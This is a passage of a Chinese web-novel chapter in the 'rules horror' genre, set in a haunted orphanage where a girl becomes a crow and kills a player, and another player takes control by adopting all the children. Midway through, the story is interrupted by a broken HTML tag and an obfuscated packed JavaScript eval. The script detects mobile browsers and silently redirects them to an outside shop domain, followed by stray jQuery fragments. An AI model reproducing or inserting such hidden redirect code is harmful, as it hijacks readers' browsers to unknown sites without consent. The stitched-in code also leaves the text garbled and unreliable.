在怪谈里,越不允许靠近的地方,越容易隐藏着核的秘密。
当规则里明确指出地下一层和院长办公室禁止进入时,在司沉眼里,几乎等同于告诉了他副本宝藏的入口。
他本想借机会单独行动,潜入收集信息,但当下的状况超出了他的预想。
女孩见他不回答,转身拾起地上的衣物,穿好后抬头看向护工:“我要去找她。”
护工没有阻拦,司沉知道她指的是谁。
能力的副作用还没有完全消散,女孩走得很快,司沉居然只能勉强跟上她的步伐。
女孩的情况很不对,这时候她去找林巧雁,对方想必凶多吉少。
他跟着女孩七弯八拐来到大厅,林巧雁正坐在一旁的接待椅上,见到小希,她三步并作两步冲上前来。
“等等,别靠近她。”司沉的警告并无作用。
林巧雁此刻已经完全沉浸在自己的角色中,像一个真正的母亲,焦急地等到了晚归的孩子,用担心的语气嘘寒问暖。
“妈妈很担心我吗?”
“当然了,怎么会有母亲不担心自己的孩子呢?小希,你有受伤吗?”
“受伤……”小希被她抱在怀里,“妈妈知道小希会受伤,为什么还要把我送去那里呢?”
“妈妈只是想你能当个好孩子……”林巧雁抚摸着女孩的头,“只要你好好听话,我们就能离开这里,爸爸也会回来的,我们一家人会过上好日子的。”
女孩眼神冷下来。
两人都没有动作。
——不对。
感官在这一刻回归,司沉跨步上前,想要将女孩从林巧雁的怀抱中扯开。
但两人的身躯像岩石,他尝试了几次都无法挪动半分。
有窸窸窣窣的声音传来,女孩的衣裙耸动,有什么东西从她的后背开始生长开来,隔着布料扎得手疼。
司沉下意识松手,那东西的生长速度更加放肆。
而后,漆黑的硬羽刺穿布料,从后背的肩胛骨开始蔓延致手臂,女孩的双手伸长、扭曲,分化成一对的翅膀,颌骨突出畸变,形成尖锐的鸟喙,眨眼的功夫,她竟变成了一只通体漆黑的乌鸦。
乌鸦巨大的鸟喙刺向林巧雁的胸口,她两眼失神,并无躲闪,胸前被刺了个对穿。
鲜血溅射,满地猩红。
那乌鸦叼着一块什么东西,司沉看得清晰,是女人的心脏。
随后它仰头,一口将心脏吞下。
“司沉!”
有人在背后大喊他的名字。
乌鸦没有理会这个声音,它煽动双翼,撞开玻璃大门,朝着天空飞远,留下一地狼藉。
迟青瑜赶来的时候,只看到林巧雁的尸体和站在一旁像尊雕像的司沉。
周围不知道什么时候,围起来一圈人,那都是孤儿院里的诡异。
祂们窃窃私语。
“好可惜,小希最听话了,差点就能变成天使了。”
“是那俩个人不好。男的先抛弃妻子,女的又虐待孩子。”
“好可怜,幸好小希拿到了她的灵魂。”
——这样她就能永远拥有妈妈的爱了。
迟青瑜在司沉几步之外站定,男人深吸一口气,有些僵硬地转身:“她被规则杀死了。”
被规则盯上,就是无法阻止的死亡。
迟青瑜沉默半晌:“她没有明确触犯那条规则,除了……第一条,她忘记了自己的身份。《玩家守则》在提醒我们,被怪谈同化是非常危险的事情,她失去了判断能力,自然而然地踩进陷阱。”
她转过身,不去看那具尸体。
“在怪谈里死去的人,现实里会怎么样?”她问。
“失踪。”
“没有尸体,警方只能认定为人口失踪。”
迟青瑜紧紧攥着手里的纸张:“我来晚了。”
司沉如鲠在喉,眼前的人或许是第一次面对死亡,或许她曾经想过办法逃离困境,但世事无常,最终也只能归结为命运的嘲弄。
“都聚在这里干什么呢?”
王护工拨开人群,指挥道:“怎么这么脏?叫保洁过来,魂儿都没了,已经没用了,直接扔海里就行。”
她抬手在表格上画叉,林巧雁与张耀的名字被红色的墨水覆盖。
迟青瑜死死盯着她手上的表格,气极反笑。
王护工扯出虚伪的笑容,不屑道:“迟小姐,我可要提醒你,如果你的孩子在明晚前,表现分数没法合格——”
“不会的。”迟青瑜一口打断她接下来的话。
她将手里的文件塞进护工怀里:“你好好看看上面的东西吧。”
那一沓资料,正是她在办公室里找到的档案,护工一番查阅,原本大部分都空着信息的档案此时变得详细,并且内容雷同,像是复制粘贴。
“怎么回事?”
“或许你应该看看领养信息那一栏。”迟青瑜好心提醒。
所有的档案里,孩子的领养人一栏都写着同一个名字:迟青瑜——这是她刚刚在办公室里篡改的信息。
“现在,所有的孩子都被我认领了。”
她想了很久。
事实上,天使孤儿院的规则里,并没有哪一条规则是针对孩子的,规则只约束成人;并且,一旦孩子被认领,他的言行评定权利就从护工落到了领养人的手上,是否惩罚也不由护工主张。
只可惜,一开始张耀和林巧雁就被规则带偏,下意识地履行起成年人的义务:管教孩童,一步步走入“核”设下的陷阱。
护工不明白她的用意:“你这是干什么?”
她没有注意到的是,周围的孩子们,原本空洞的眼神里,都浮上了清晰的神色。
“孩子会变得像大人的,不是吗?”
迟青瑜站在人群中央,几十双眼睛注视着她。那些视线里,有渴望,有困惑,有不解,有不屑,有鄙夷……但最重要的是,祂们有了智慧和思维。
她对着诡异们高声喊着:“从现在开始,你们只有一个目的,那就是从这里出去!”
“忘掉那本手册,在我这里,那五百条规则全部作废!你们不用遵守严格的时间表,不需要害怕护工责罚,从现在开始,你们想做什么都可以。”
全世界的孩子都会喜欢这句话。
像是清冽的水撞进热油里,滋啦滋啦响着蒸汽。
他们交头接耳。
“真无聊,没意思,还不去多看几本书。”
“我不想那么早睡,我昨天的星星还没数完呢。”
“你说人多久不睡觉会死?”
“电工太废物了,最近老停电,要不我们去看看咋回事吧?”
“……其实我觉得小玲蛮厉害的,我对数学也很感兴趣。”
……
“安静,都给我安静!”王护工的话再也不是圣旨,孩子们瞥了她一眼,散开去做自己的事情。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203548|138280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你们、你们还有没有规矩!”护工见这招并不管用,转身瞪着迟青瑜,“这就是你的规矩?这就是你对小孩的要求?”
“啊对,怎么了?”
迟青瑜理直气壮:“我爸妈就是这么教我的,你不服?”
她不慌不忙:“我记得,《员工守则》里面,要求你们24小时监督每一个孩子吧?那你们可有够忙的。”
护工愤怒的表情僵硬一瞬。
迟青瑜看向四处奔走的小孩,他们的目的地各不相同,但都遵循着自己的兴趣与意愿。
“有一个坏消息要告诉你,我小时候可招人烦了。”
------------------------------------------------------
天使孤儿院这天绝对说不上安宁。
严重点说,甚至有些鸡飞狗跳。
迟青瑜这个名义上的领养人对这几十个孩子是一概不管,直接撒手放养,只要不犯杀人放火等原则性问题,都是小事。
她也不怕真的闹出什么动静,毕竟她小时候会做什么,自己一清二楚。
太阳已经西斜,然而失去管制的孩子就是归山的兽,让员工们忙得脚不沾地。
这样一来,也没有突然冒出来的诡异要分食她的五脏六腑,迟青瑜难得安心下来。
“……说真的,我有点被吓到。”
司沉走在她身后,思考了好久,才决定跟她搭话。
“我没有别的意思,并不是想批判你,但是,你这个做法——”
他决定还是表示赞同:“很有效。”
迟青瑜脚步不停,一边观察着四周,一边往宿舍的方向走去:“幸好有用,不然我就凉了。你发现这里变了吗?”
她的思维总是很跳跃,司沉一时没接住:“这里的变化?”
“很多地方都不一样了。”她指着几处地方阐述,“这里之前看起来只是变旧了,装潢风格变成上世纪九十年代的样子而已,但现在不一样,出现了很多不应该出现的东西。”
例如广场上突然出现的百年大树、泥泞的小道、被遗弃在角落的农具等等,这里变得更加真实、富有生活气息。
司沉也是第一次遇到这种情况:“你的猜想是?”
他现在已经学会提前问答案。
“不知道你有没有了解过一些简单的心理学理论。”
当司沉告诉她,关于核与怪谈的猜测时,迟青瑜就有过这方面的想法。
“人死后,他的心理活动还会存在吗?在心理学上认为,认知、情绪和意志,是人的心理活动的基本形式。很多文化里面,对于人死后情况的描绘,都或多或少参考了他生前的样子。”
“例如,吊死鬼会有长舌头,饿死鬼前胸贴后背,冤死的女人会变成厉鬼报仇……”
“这些死后情形的描述,基本都脱离不开这个人的认知和情绪表现,我是说,如果我们参考传统的说法——”
“假设怪谈的建立,也受到‘核’的认知影响呢?”
迟青瑜在一扇门前停住脚步。
这是一扇斑驳的木门,与其他门相比,这门上面多了很多铅笔书写与图画的痕迹,还有一些童稚的话语,显得与周围格格不入。
天使孤儿院的规则虽然没有消失,但已不再稳固,怪谈的那层面纱解后,背面会是什么东西?
“走吧,门后有我们想要的答案。”